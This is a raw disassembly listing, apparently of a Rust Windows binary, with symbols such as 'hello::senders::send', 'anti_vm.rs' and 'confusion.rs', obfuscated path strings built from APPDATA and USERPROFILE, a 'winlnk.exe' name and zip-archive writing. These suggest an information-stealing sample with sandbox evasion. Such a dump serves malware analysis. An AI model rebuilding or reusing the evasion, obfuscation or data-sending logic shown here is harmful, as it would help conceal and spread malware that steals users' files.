cmp bl, 0xed
jne 0x140074a7c
cmp r10, r9
je 0x140074872
lea r10, [r11 + 2]
cmp r10, r9
je 0x140074872
cmp byte [r11 + 1], 0x9f
ja 0x140076467
add r11, 3
mov r10, r11
jmp 0x140074a30
add r11, 2
cmp r10, r9
cmove r11, r10
xor r10d, r10d
cmp r11, r9
setne r10b
add r10, r11
cmp bl, 0xf0
jb 0x140074a30
xor r11d, r11d
cmp r10, r9
setne r11b
add r10, r11
jmp 0x140074a30
mov r12d, 1
mov rcx, r12
mov rdx, r14
mov r8, r15
call sym.memcpy
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r15
lea rcx, [rsp + 0x1e0]
lea r8, [rsp + 0x30]
lea r9, [rsp + 0x220]
mov edx, ebp
call sym.hello::senders::send::h1058cf19d56528c4
movabs r15, 0x8000000000000000
cmp qword [rsp + 0x1e0], r15
jne 0x1400762d1
cmp qword [rsp + 0x220], 0
je 0x140074b20
mov r8, qword [rsp + 0x228]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x310], 0
mov rdi, qword [rsp + 0x1d8]
je 0x140074b49
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x308]
call fcn.14021a7bc
test rdi, rdi
je 0x140074b9c
mov rax, qword [rsp + 0x1c0]
lea rsi, [rax + 0x20]
jmp 0x140074b69
add rsi, 0x30
dec rdi
je 0x140074b9c
cmp qword [rsi - 0x20], 0
je 0x140074b82
mov r8, qword [rsi - 0x18]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsi - 8], 0
je 0x140074b60
mov r8, qword [rsi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x140074b60
cmp qword [rsp + 0x318], 0
je 0x140074bbd
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
call fcn.14021a7bc
test rbx, rbx
je 0x140074bd3
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
lea rcx, [rsp + 0x30]
call sym.std::env::current_exe::hd877a2afe329b0bb
mov r14, qword [rsp + 0x30]
cmp r14, r15
je case.default.0x140074c31
mov rbx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, rdi
call sym.std::sys::path::windows::parse_prefix::h62dfcaa2b1a45e84
movzx esi, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
movzx edx, sil
lea r8, [0x140397dbc]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
add ecx, eax
mov rdx, rdi
mov qword [rsp + 0xe0], rbx
jmp r9
add rcx, 4
jmp 0x140074c6e
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140074c6e
mov ecx, 6
jmp 0x140074c6e
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x140074c6e
mov ecx, 2
mov rdx, rdi
sub rdx, rcx
jb 0x14007644b
add rcx, qword [rsp + 0xe0]
mov rbx, rcx
test rdx, rdx
je 0x140074c9d
movzx eax, byte [rbx]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete bpl
or bpl, cl
jmp 0x140074c9f
xor ebp, ebp
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x23f], rax
movups xmm0, xmmword [rsp + 0x31]
movups xmm1, xmmword [rsp + 0x41]
movaps xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
lea rbx, str.winlnk.exeUSERPROFILE
lea rcx, [rsp + 0x30]
mov r8d, 0xa
mov rdx, rbx
call sym.std::sys::path::windows::parse_prefix::h62dfcaa2b1a45e84
movzx edx, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
lea r8, [0x140397dd8]
add eax, 0x3230e2
movsxd rdx, dword [r8 + rdx*4]
adc al, 0x90
add rdx, r8
mov qword [rsp + 0xe8], r14
jmp rdx
add rcx, 4
jmp 0x140074d3a
invalid
sub eax, 0x6b8
add bl, ch
lea rdx, [rax + 1]
mov eax, 6
jmp 0x140074d5f
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x140074d3a
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
cmp rcx, 0xb
jae 0x1400764b8
cmp rcx, 0xa
jne 0x140074d4e
xor eax, eax
jmp 0x140074d78
invalid
sub cl, byte [rax - 0x73]
sbb eax, 0x34a203
lea rbx, str.winlnk.exeUSERPROFILE
add rbx, rcx
jmp 0x140074d69
mov eax, 2
lea rbx, str.winlnk.exeUSERPROFILE
add rbx, rax
movzx eax, byte [rbx]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x1b0], rcx
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x1a0], xmm1
movups xmmword [rsp + 0x190], xmm0
lea rcx, str.winlnk.exeUSERPROFILE
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x188], 0xa
mov word [rsp + 0x1b8], 0x200
mov byte [rsp + 0x1ba], al
lea r14, [rsp + 0x101]
mov al, 2
lea rbx, [rsp + 0x68]
xor ecx, ecx
lea r15, [rsp + 0xf0]
lea r12, [rsp + 0x1e0]
lea r13, [rsp + 0x180]
mov rdx, qword [rsp + 0xe0]
cmp sil, 6
je 0x140074e37
nop word cs:[rax + rax]
mov r8, qword [rsp + 0x23f]
mov qword [rsp + 0x4f], r8
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0xf0], rdx
mov qword [rsp + 0xf8], rdi
mov byte [rsp + 0x100], sil
mov rdx, qword [rsp + 0x4f]
mov qword [r14 + 0x1f], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov byte [rsp + 0x128], cl
mov byte [rsp + 0x129], al
mov byte [rsp + 0x12a], bpl
lea rcx, [rsp + 0x2b0]
mov rdx, r15
call sym._ZN95__LT_std..path..Components_u20_as_u20_core..iter..traits..double_ended..DoubleEndedIterator_GT_9next_back17hd799c1059daf9
mov rcx, r12
mov rdx, r13
call sym._ZN95__LT_std..path..Components_u20_as_u20_core..iter..traits..double_ended..DoubleEndedIterator_GT_9next_back17hd799c1059daf9
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x2b0]
movups xmm1, xmmword [rsp + 0x2c0]
movups xmm2, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x210]
mov qword [rbx + 0x30], rax
movups xmm0, xmmword [rsp + 0x1e0]
movups xmm1, xmmword [rsp + 0x1f0]
movups xmm2, xmmword [rsp + 0x200]
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
cmp byte [rsp + 0x2b0], 0xa
movzx eax, byte [rsp + 0x1e0]
je 0x140074f8a
cmp al, 0xa
je 0x140074f91
lea rcx, [rsp + 0x30]
mov rdx, rbx
call sym.__std::path::Component_as_core::cmp::PartialEq_::eq::hf1e715caec6d1bba
test al, al
je 0x140074f8e
mov rdx, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xf8]
movzx esi, byte [rsp + 0x100]
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm1
mov rax, qword [r14 + 0x1f]
mov qword [rsp + 0x23f], rax
movzx ecx, byte [rsp + 0x128]
movzx eax, byte [rsp + 0x129]
movzx ebp, byte [rsp + 0x12a]
cmp sil, 6
jne 0x140074e10
jmp 0x140074e37
cmp al, 0xa
je 0x140074f91
mov bpl, 2
cmp qword [rsp + 0xe8], 0
movabs r15, 0x8000000000000000
je 0x140074fbc
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0xe0]
call fcn.14021a7bc
cmp bpl, 2
jne 0x140075d25
lea rdx, [0x1403bef62]
lea rcx, [rsp + 0x30]
mov r8d, 0xb
call sym.std::env::_var_os::hfdaca986d527d091
mov r14, qword [rsp + 0x30]
cmp r14, r15
je 0x140075672
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
cmp byte [rsp + 0x48], 0
je 0x140075d41
lea rax, [0x1403be568]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x752b8c49
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h3458f2fb942f5bbc
mov ecx, 0xf71d98c8
xor ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x8a
xor dl, 0xe3
xor r8b, 0x93
movzx r8d, r8b
mov byte [rsp + 0x276], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x270], ecx
shr rax, 0x20
mov word [rsp + 0x274], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x270]
mov rdx, rsi
mov r8, rdi
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
lea rax, [0x1403b8bf0]
mov qword [rsp + 0xf0], rax
lea rax, [rsp + 0xf0]
mov rcx, qword [rsp + 0xf0]
mov dword [rsp + 0xf0], 0x3402f5c6
mov edx, dword [rsp + 0xf0]
call sym.obfstr::xref::inner::h4aeb251f42f3c337
mov ecx, 0x8af6e885
xor ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0xb6
xor dl, 0xd
xor r8b, 0x2a
movzx r8d, r8b
mov byte [rsp + 0x27e], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x278], ecx
shr rax, 0x20
mov word [rsp + 0x27c], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0xf0]
lea r9, [rsp + 0x278]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0x100]
lea rax, [0x1403b4f1e]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x180]
mov rcx, qword [rsp + 0x180]
mov dword [rsp + 0x180], 0x92e46cfe
mov edx, dword [rsp + 0x180]
call sym.obfstr::xref::inner::hac4c8a9ef1c0ded0
movabs rcx, 0x6b02c555db10352f
xor rcx, qword [rax]
movzx eax, byte [rax + 8]
xor al, 0xa1
mov qword [rsp + 0x2a0], rcx
mov byte [rsp + 0x2a8], al
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x180]
lea r9, [rsp + 0x2a0]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x190]
lea rax, [0x1403be84a]
mov qword [rsp + 0x1e0], rax
lea rax, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1e0]
mov dword [rsp + 0x1e0], 0x1cdd769
mov edx, dword [rsp + 0x1e0]
call sym.obfstr::xref::inner::hc141b00ea85ad9dd
mov ecx, 0xcfadf11d
xor ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x9a
xor dl, 0x52
xor r8b, 0x43
movzx r8d, r8b
mov byte [rsp + 0x296], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x290], ecx
shr rax, 0x20
mov word [rsp + 0x294], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x1e0]
lea r9, [rsp + 0x290]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0x1e8]
mov rbx, qword [rsp + 0x1f0]
lea rax, [0x1403b53c0]
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x2b0]
mov rcx, qword [rsp + 0x2b0]
mov dword [rsp + 0x2b0], 0xaa5dfbbe
mov edx, dword [rsp + 0x2b0]
call sym.obfstr::xref::inner::h108dca40f74077a7
movabs rcx, 0xf29e48f40e34abd3
xor rcx, qword [rax]
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xb4
shr eax, 8
xor al, 0x73
mov qword [rsp + 0x280], rcx
mov byte [rsp + 0x288], dl
mov byte [rsp + 0x289], al
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x2b0]
lea r9, [rsp + 0x280]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0x2b8]
mov rbx, qword [rsp + 0x2c0]
lea rax, [0x1403b9e98]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x220]
mov rcx, qword [rsp + 0x220]
mov dword [rsp + 0x220], 0x1af661b1
mov edx, dword [rsp + 0x220]
call sym.obfstr::xref::inner::h9a8d649f82a69cbd
movabs rcx, 0xac3d536e0c808868
xor rcx, qword [rax]
mov qword [rsp + 0x388], rcx
mov qword [rsp + 0x20], 8
lea rcx, [rsp + 0x220]
lea r9, [rsp + 0x388]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0x228]
mov rbx, qword [rsp + 0x230]
lea rax, [0x1403b0f1c]
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x250]
mov rcx, qword [rsp + 0x250]
mov dword [rsp + 0x250], 0xc8aa34fb
mov edx, dword [rsp + 0x250]
call sym.obfstr::xref::inner::he23b88eadb21a8cf
mov ecx, 0x82317c1f
xor ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 6
xor dl, 0x92
xor r8b, 0xeb
movzx r8d, r8b
mov byte [rsp + 0x29e], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [rsp + 0x298], ecx
shr rax, 0x20
mov word [rsp + 0x29c], ax
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x250]
lea r9, [rsp + 0x298]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
mov rdi, qword [rsp + 0x258]
mov rbx, qword [rsp + 0x260]
lea rax, [0x1403b0bde]
mov qword [rsp + 0x2e8], rax
lea rax, [rsp + 0x2e8]
mov rcx, qword [rsp + 0x2e8]
mov dword [rsp + 0x2e8], 0x594c08ef
mov edx, dword [rsp + 0x2e8]
call sym.obfstr::xref::inner::hd8be40dda6b91463
movabs rcx, 0x4a9dc2733ac5a701
xor rcx, qword [rax]
mov qword [rsp + 0x348], rcx
mov qword [rsp + 0x20], 8
lea rcx, [rsp + 0x2e8]
lea r9, [rsp + 0x348]
mov rdx, rdi
mov r8, rbx
call sym.std::path::Path::_join::h5aa7e490ca1ed099
cmp qword [rsp + 0x250], 0
je 0x140075515
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
cmp qword [rsp + 0x220], 0
je 0x140075536
mov r8, qword [rsp + 0x228]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x2b0], 0
je 0x140075557
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x1e0], 0
je 0x140075578
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x180], 0
je 0x140075599
mov r8, qword [rsp + 0x188]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0xf0], 0
je 0x1400755ba
lea rcx, [rsp + 0x30]
call sym.std::env::current_exe::hd877a2afe329b0bb
mov r12, qword [rsp + 0x30]
cmp r12, r15
je 0x1400764c9
mov rbx, r15
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
lea rdx, str.APPDATA
lea rcx, [rsp + 0x30]
mov r8d, 7
call sym.std::env::_var_os::hfdaca986d527d091
mov r15, qword [rsp + 0x30]
cmp r15, rbx
je 0x1400764e2
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
cmp byte [rsp + 0x48], 0
je 0x140075b9b
lea rax, [0x1403b0a8c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x90812c0e
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h34491202b9f9161e
movabs rcx, 0x82f4f373ab7e6284
xor rcx, qword [rax]
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xfe
shr eax, 8
xor al, 0x3a
mov qword [rsp + 0xf0], rcx
mov byte [rsp + 0xf8], dl
mov byte [rsp + 0xf9], al
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0xf0]
mov rdx, rbx
mov r8, r14
call sym.std::path::Path::_join::h5aa7e490ca1ed099
test r15, r15
je 0x140075760
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rbx
call fcn.14021a7bc
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
lea rcx, [rsp + 0x180]
mov rdx, rsi
mov r8, rdi
call sym.std::sys::pal::windows::to_u16s::inner::h5f020a6197ca37d5
mov rax, qword [rsp + 0x180]
mov rdi, qword [rsp + 0x188]
movabs rbx, 0x8000000000000000
cmp rax, rbx
je 0x1400763f9
mov rcx, qword [rsp + 0x190]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x100], rcx
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0xf0]
call sym.std::sys::path::windows::get_long_path::h3c68a71231fe55b9
mov r13, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1e8]
cmp r13, rbx
je 0x1400763f9
lea rcx, [rsp + 0x180]
mov rdx, r14
mov r8, r15
call sym.std::sys::pal::windows::to_u16s::inner::h5f020a6197ca37d5
mov rax, qword [rsp + 0x180]
mov r15, qword [rsp + 0x188]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400763fe
test r14, r14
je 0x1400756d1
movzx eax, byte [rsp + 0x4f]
shl eax, 0x10
movzx ecx, word [rsp + 0x4d]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x49]
or rax, rcx
lea rcx, [rbx + r14]
mov r8, rbx
jmp 0x140075bec
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop word cs:[rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x1400756d1
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140075be0
cmp r9b, 0xe0
jb 0x140075bc7
cmp r9b, 0xed
jne 0x140075c2f
call fcn.14021a7bc
movaps xmm6, xmmword [rsp + 0x4c0]
add rsp, 0x4d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdi, rdi
je 0x140075000
lea rax, [rsi + rdi]
mov rdx, rsi
jmp 0x140075d6c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop
mov rdx, rcx
cmp rcx, rax
je 0x140075000
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140075d60
cmp r8b, 0xe0
jb 0x140075d53
cmp r8b, 0xed
jne 0x140075daa
cmp rcx, rax
je 0x140075000
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140075000
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140075d60
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140075d60
call sym.alloc::raw_vec::capacity_overflow::h29d4877d33cf78a3
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
jmp 0x140075e8e
lea rcx, [0x1403bdd4b]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
mov edx, 0x29
call sym.std::panicking::begin_panic::h6623ed9ab9c988a0
mov r8, r14
mov rbx, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
test rdi, rdi
je 0x140075e8e
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], r14
lea rax, [0x1403be830]
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, sym.core::ptr::drop_in_place_zip::result::ZipError_::h8ae5ab9ff8dfac90
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
mov rcx, r13
mov rdx, rdi
call sym.core::slice::index::slice_end_index_len_fail::h829dac2b01cd87d1
mov ecx, 1
mov rdx, rdi
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov rdx, rsi
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
call sym.core::option::unwrap_failed::hec1ab125882a5e1e
mov ecx, 1
mov edx, 0x26
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x27
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x2a
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x29
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x20
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x25
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x23
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
xor ecx, ecx
mov rdx, rdi
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.hello_srcutilsconfusion.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140467a8e]
lea r9, fcn.1400b83c0
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h9b9528a0a4171737
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.hello_srcutilsconfusion.rs
jmp 0x14007601b
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.hello_srcutilsconfusion.rs
jmp 0x14007601b
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.hello_srcutilsconfusion.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_get_ptr
lea r9, fcn.1400b83c0
lea r8, [rsp + 0x30]
mov edx, 0x11
call sym.core::result::unwrap_failed::h9b9528a0a4171737
jmp 0x1400762a4
mov ecx, 8
mov edx, 0x250
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
mov ecx, 8
mov edx, 0x300
call sym.alloc::alloc::handle_alloc_error::h033f15fcf3b32b44
mov ecx, 1
mov edx, 0x24
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x28
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x2b
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x2e
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x21
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x1f
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov ecx, 1
mov edx, 0x2d
call sym.alloc::raw_vec::handle_error::h5313441c9bd13595
mov edx, 0x20
mov rcx, rsi
call sym.__alloc::vec::Vec_T_A__as_core::ops::drop::Drop_::drop::h1ee58b1432c5be8c
mov ecx, 0x20
mov rdx, rsi
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1985ccb3957fd62c
lea rax, str.bok124
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.hello_srcutils_anti_vm.rs
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::h9e181c62584cc428
lea rcx, [0x1403be7e0]
call sym.core::option::unwrap_failed::hec1ab125882a5e1e
lea rcx, [0x1403be7f8]
call sym.core::option::unwrap_failed::hec1ab125882a5e1e
lea rcx, str.assertion_failed:_nsec___0__nsec___NSEC_PER_SECC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.1.45_srclib.rs
lea r8, [0x140441f60]
mov edx, 0x32
call sym.core::panicking::panic::h8ea5606244902eff
call sym.std::io::error::Error::last_os_error::hd32259d83e591779
mov qword [rsp + 0x2e8], rax
lea rax, [rsp + 0x2e8]
mov qword [rsp + 0x1e0], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::h920a57f3932865bb]
mov qword [rsp + 0x1e8], rax
lea rax, [0x140441e48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.1.45_src_sys.rsFileTimeToSystemTime_failed_with:
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::h9e181c62584cc428
call sym.std::io::error::Error::last_os_error::hd32259d83e591779
mov qword [rsp + 0x2e8], rax
lea rax, [rsp + 0x2e8]
mov qword [rsp + 0x1e0], rax
lea rax, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::h920a57f3932865bb]
mov qword [rsp + 0x1e8], rax
lea rax, str.SystemTimeToTzSpecificLocalTime_failed_with:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_time_0.1.45_src_sys.rsFileTimeToSystemTime_failed_with:
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::h9e181c62584cc428
movups xmm0, xmmword [rsp + 0x38]
mov qword [rsp + 0x30], rax
movups xmmword [rsp + 0x38], xmm0
lea rax, [0x1403be818]
jmp 0x140075ea4
lea rcx, [0x1403bdd4b]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.5.13_srcwrite.rsShould_have_switched_to_stored_beforehand
mov edx, 0x29
call sym.std::panicking::begin_panic::h6623ed9ab9c988a0
lea rax, str.cannot_modify_the_panic_hook_from_a_panicking_thread
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.library_std_srcpanicking.rs
lea rcx, [rsp + 0x30]
call sym.core::panicking::panic_fmt::h9e181c62584cc428
ud2
shl rax, 8
mov qword [rsp + 0x1d0], r15
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], rax
lea rax, str.hello_srcutils_anti_vm.rs
jmp 0x140076496
jmp 0x140076473
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x180], xmm0
lea rax, [0x1403b4765]
